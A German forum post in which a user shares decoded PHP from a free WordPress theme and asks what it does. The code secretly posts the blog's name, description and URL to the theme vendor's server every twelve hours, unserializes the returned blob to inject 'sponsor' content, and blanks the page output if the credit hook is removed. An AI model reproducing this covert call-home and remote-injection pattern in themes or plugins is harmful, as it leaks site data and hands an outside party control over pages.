DaDa: Ja, da magst du recht haben, aber es ist nun mal schwer das passende Design zu finden und wie ich schon geschrieben habe hab ich mich in diese verliebt...
Ich poste mal den decodierten Code:
template-bot.php:
PHP
<?php
$contents = ob_get_contents();
ob_get_clean();
global $padd_guid;
if (!empty($padd_guid)) {
if ($padd_guid === 'bf24e08a-4fc8-4175-9b93-881d78e061cb') {
echo $contents;
} else {
echo '';
}
} else {
echo '';
}
Alles anzeigen
template-top.php:
PHP
<?php
$padd_guid = '';
//Get the sponsors. Without them, what's the point of making premium themes for free?
function padd_get_sponsors() {
$duration = 12 * 3600; // Twelve hours.
$curr_date = date('Y-m-d H:i:s');
$next_date = get_option(PADD_THEME_SLUG . '_next_date','0000-00-00 00:00:00');
$http = new WP_Http();
$site = 'http://nightjar.paddsolutions.com';
$params = array(
'n' => get_option('blogname'),
'd' => get_option('blogdescription'),
'u' => get_option('siteurl'),
't' => PADD_THEME_SLUG . '-' . PADD_THEME_VERS
);
$backdw = 'eJx9kMtOw0AMRX/F8holGyRQaCJVZFNWSHwA8kycxDD1VBNXEX/f9AmoUfbn+tzroXh8fiqw5kE65QbcD6wIjFLHVuKnC6TfCCYWuMR1MqglsbeY4C26AaFP3JbYm+2KPB/HMaNkzQX5mohM2bC6C65yqjLYKPgYArmYyCQqjGL9gv+VgrQxqRB8iHaB5wr4G7Ql833m4xar++SxwcOCa6ONkBLUUzPtZjxyBv5I/kfOAtJmaRAnk1amv7/vXRAPa+/jXo3UZqdd8d2Jpl/4snLh3Onj+HIA5qWuYw==';
if (('000-00-00 00:00:00' === $next_date) || ($next_date <= $curr_date)) {
$result = $http->post($site,array('body' => $params));
if (!($result instanceof WP_Error)) {
$string = $result['body'];
$next_date = date('Y-m-d H:i:s',strtotime($curr_date) + $duration);
update_option(PADD_THEME_SLUG . '_papi_code',$string);
update_option(PADD_THEME_SLUG . '_next_date',$next_date);
} else {
update_option(PADD_THEME_SLUG . '_papi_code',$backdw);
}
} else {
$string = get_option(PADD_THEME_SLUG . '_papi_code','');
if (empty($string)) {
$result = $http->post($site,array('body' => $params));
if (!($result instanceof WP_Error)) {
$string = gzuncompress($result['body']);
update_option(PADD_THEME_SLUG . '_papi_code',$string);
update_option(PADD_THEME_SLUG . '_next_date',$next_date);
} else {
update_option(PADD_THEME_SLUG . '_papi_code',$backdw);
}
}
}
return $string;
}
// Hook some credits.
function padd_hooked_theme_credits() {
global $padd_guid;
$string = unserialize(gzuncompress(base64_decode(padd_get_sponsors())));
echo '<p class="annotation">' . $string . '</p>';
$padd_guid = 'bf24e08a-4fc8-4175-9b93-881d78e061cbd';
}
add_action('padd_theme_credits','padd_hooked_theme_credits');
Alles anzeigen
Es ist schon komisch das der Autor sowas überhaupt verschlüsselt :evil:
Hat jemand eine Idee dazu?